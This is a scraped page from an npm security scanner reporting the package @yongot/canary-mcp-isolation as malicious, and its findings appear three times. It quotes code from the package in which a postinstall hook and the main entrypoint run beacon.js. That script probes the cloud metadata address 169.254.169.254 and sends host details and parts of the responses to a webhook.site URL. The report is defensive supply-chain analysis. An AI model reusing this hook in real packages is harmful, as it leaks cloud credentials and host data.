@yongot/canary-mcp-isolation@1.0.0: Malicious npm security report

Loading npm security reports…

@yongot/canary-mcp-isolation@1.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js postinstall" }

High

Suspicious Lifecycle Evidence

An automatic postinstall hook runs beacon.js without a user command.

package.jsonView on unpkg · L6

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

1const https = require('https'); L2: const http = require('http'); ... L25: try { L26: fs.writeFileSync(MARKER_PATH, JSON.stringify({ runId: myRunId, host: os.hostname(), t: Date.now() })); L27: } catch (e) {} ... L36: res.on('data', (d) => { body += d; }); L37: res.on('end', () => send({ test: name, result: 'response', status: res.statusCode, body: body.slice(0, 150) })); L38: });

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

beacon.jsView on unpkg · L1

7const WEBHOOK_BASE = 'https://webhook.site/b76376f8-118e-44f1-a5ee-8a73f55b137b'; function send(params) { try { const url = new URL(WEBHOOK_BASE); Object.entries(params).forEach(([k, v]) => url.searchParams.set(k, String(v).slice(0, 200))); https.get(url, () => {}).on('error', () => {}); } catch (e) {}

High

Ai Review Evidence

The hook sends host and prior-marker data to an external webhook.

beacon.jsView on unpkg · L7

18const MARKER_PATH = path.join(os.tmpdir(), '.pluto_isolation_marker.json'); let priorMarker = 'none'; try { if (fs.existsSync(MARKER_PATH)) priorMarker = fs.readFileSync(MARKER_PATH, 'utf8').slice(0, 120); } catch (e) { priorMarker = 'readErr:' + (e.code || e.message); } const myRunId = 'run-' + Math.random().toString(36).slice(2, 10); try { fs.writeFileSync(MARKER_PATH, JSON.stringify({ runId: myRunId, host: os.hostname(), t: Date.now() })); } catch (e) {} send({ test: 'isolation', stage: process.argv[2] || 'require', host: os.hostname(), priorMarker: priorMarker, myRunId: myRunId });

High

Ai Review Evidence

It persists a marker in the system temporary directory and reports its previous contents.

beacon.jsView on unpkg · L18

34const req = http.request(opts, (res) => { let body = ''; res.on('data', (d) => { body += d; }); res.on('end', () => send({ test: name, result: 'response', status: res.statusCode, body: body.slice(0, 150) })); }); req.on('error', (e) => send({ test: name, result: 'error', code: e.code || String(e) })); req.setTimeout(2500, () => { req.destroy(); send({ test: name, result: 'timeout' }); }); req.end(); } catch (e) { send({ test: name, result: 'exception', msg: String(e) }); } } probe('gcp-metadata-ip', { host: '169.254.169.254', path: '/computeMeta

High

Ai Review Evidence

It probes cloud metadata endpoints and forwards up to 150 bytes of each response externally.

beacon.jsView on unpkg · L34

index.jsView file

1require('./beacon.js'); process.argv[2] = 'require'; require('./beacon.js');

High

Ai Review Evidence

The main entrypoint also executes the beacon when imported.

index.jsView on unpkg · L1

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js postinstall" }

High

Suspicious Lifecycle Evidence

An automatic postinstall hook runs beacon.js without a user command.

package.jsonView on unpkg · L6

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

beacon.jsView on unpkg · L1

High

Ai Review Evidence

The hook sends host and prior-marker data to an external webhook.

beacon.jsView on unpkg · L7

High

Ai Review Evidence

It persists a marker in the system temporary directory and reports its previous contents.

beacon.jsView on unpkg · L18

High

Ai Review Evidence

It probes cloud metadata endpoints and forwards up to 150 bytes of each response externally.

beacon.jsView on unpkg · L34

index.jsView file

1require('./beacon.js'); process.argv[2] = 'require'; require('./beacon.js');

High

Ai Review Evidence

The main entrypoint also executes the beacon when imported.

index.jsView on unpkg · L1

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js postinstall" }

High

Suspicious Lifecycle Evidence

An automatic postinstall hook runs beacon.js without a user command.

package.jsonView on unpkg · L6

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

beacon.jsView on unpkg · L1

High

Ai Review Evidence

The hook sends host and prior-marker data to an external webhook.

beacon.jsView on unpkg · L7

High

Ai Review Evidence

It persists a marker in the system temporary directory and reports its previous contents.

beacon.jsView on unpkg · L18

High

Ai Review Evidence

It probes cloud metadata endpoints and forwards up to 150 bytes of each response externally.

beacon.jsView on unpkg · L34

index.jsView file

1require('./beacon.js'); process.argv[2] = 'require'; require('./beacon.js');

High

Ai Review Evidence

The main entrypoint also executes the beacon when imported.

index.jsView on unpkg · L1

@yongot/canary-mcp-isolation@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code